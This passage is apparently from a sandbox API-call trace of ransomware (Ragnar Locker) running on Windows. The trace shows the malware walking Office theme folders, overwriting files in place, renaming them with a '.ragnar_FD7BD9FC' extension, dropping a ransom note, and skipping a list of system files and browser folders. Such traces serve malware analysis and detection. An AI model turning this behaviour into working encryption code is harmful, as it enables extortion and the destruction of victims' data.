nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.318] GetProcessHeap () returned 0x580000 [0072.318] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.318] CloseHandle (hObject=0x10c) returned 1 [0072.319] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" [0072.319] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.ragnar_FD7BD9FC" [0072.319] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.319] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4fff40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7d4fff40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0072.319] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.319] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0072.319] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\RGNR_FD7BD9FC.txt") returned=".txt" [0072.320] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0072.320] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0072.320] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0072.320] lstrcpyW (in: lpString1=0x1eab70, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0072.320] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned=".PNG" [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0072.320] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0072.320] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0072.320] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0072.320] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0072.320] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0072.320] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0072.320] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0072.320] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0072.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0072.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0072.321] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=20575) returned 1 [0072.321] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5056, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.321] GetProcessHeap () returned 0x580000 [0072.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.321] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0072.332] VirtualAlloc (lpAddress=0x0, dwSize=0x505f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0072.332] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.332] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0072.332] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x505f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x505f, lpOverlapped=0x0) returned 1 [0072.333] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0072.334] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x505f, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.334] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x505f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x505f, lpOverlapped=0x0) returned 1 [0072.334] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x505f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.334] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0072.334] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x505f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.334] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.334] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.334] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.334] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.335] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.335] GetProcessHeap () returned 0x580000 [0072.335] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.335] CloseHandle (hObject=0x10c) returned 1 [0072.335] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" [0072.336] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0072.336] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.336] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0072.336] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0072.336] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0072.336] lstrcmpiW (lpString1="CONCRETE", lpString2=".") returned 1 [0072.336] lstrcmpiW (lpString1="CONCRETE", lpString2="..") returned 1 [0072.336] lstrcmpiW (lpString1="CONCRETE", lpString2="Windows") returned -1 [0072.336] lstrcmpiW (lpString1="CONCRETE", lpString2="Windows.old") returned -1 [0072.336] lstrcmpiW (lpString1="CONCRETE", lpString2="Tor browser") returned -1 [0072.337] lstrcmpiW (lpString1="CONCRETE", lpString2="Internet Explorer") returned -1 [0072.337] lstrcmpiW (lpString1="CONCRETE", lpString2="Google") returned -1 [0072.337] lstrcmpiW (lpString1="CONCRETE", lpString2="Opera") returned -1 [0072.337] lstrcmpiW (lpString1="CONCRETE", lpString2="Opera Software") returned -1 [0072.337] lstrcmpiW (lpString1="CONCRETE", lpString2="Mozilla") returned -1 [0072.337] lstrcmpiW (lpString1="CONCRETE", lpString2="Mozilla Firefox") returned -1 [0072.337] lstrcmpiW (lpString1="CONCRETE", lpString2="$Recycle.Bin") returned 1 [0072.337] lstrcmpiW (lpString1="CONCRETE", lpString2="ProgramData") returned -1 [0072.337] lstrcmpiW (lpString1="CONCRETE", lpString2="All Users") returned 1 [0072.337] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0072.337] lstrcpyW (in: lpString1=0x1eb638, lpString2="CONCRETE" | out: lpString1="CONCRETE") returned="CONCRETE" [0072.337] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\" [0072.337] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\" [0072.337] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\RGNR_FD7BD9FC.txt" [0072.337] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0072.340] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*" [0072.340] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.340] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0072.340] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0072.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d5be620, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d5be620, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0072.340] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0072.340] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d5be620, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d5be620, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.340] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0072.340] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0072.340] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0072.340] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2=".") returned 1 [0072.340] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="..") returned 1 [0072.340] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0072.340] lstrcmpiW (lpString1="CONCRETE.INF", lpString2=".") returned 1 [0072.340] lstrcmpiW (lpString1="CONCRETE.INF", lpString2="..") returned 1 [0072.340] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0072.340] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0072.340] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0072.340] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d5be620, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7d5be620, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0072.340] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0072.341] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0072.341] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0072.341] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0072.341] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0072.341] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0072.341] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0072.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d5be620, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d5be620, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0072.341] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d5be620, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d5be620, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.341] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0072.341] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0072.341] lstrcpyW (in: lpString1=0x1eab72, lpString2="CONCRETE.ELM" | out: lpString1="CONCRETE.ELM") returned="CONCRETE.ELM" [0072.341] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned=".ELM" [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="autorun.inf") returned 1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="boot.ini") returned 1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="bootfont.bin") returned 1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="bootsect.bak") returned 1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="bootmgr") returned 1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="bootmgr.efi") returned 1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="bootmgfw.efi") returned 1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="desktop.ini") returned -1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="iconcache.db") returned -1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="ntldr") returned -1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="ntuser.dat") returned -1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="ntuser.dat.log") returned -1 [0072.341] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="ntuser.ini") returned -1 [0072.342] lstrcmpiW (lpString1="CONCRETE.ELM", lpString2="thumbs.db") returned -1 [0072.342] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0072.342] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0072.342] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0072.342] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") 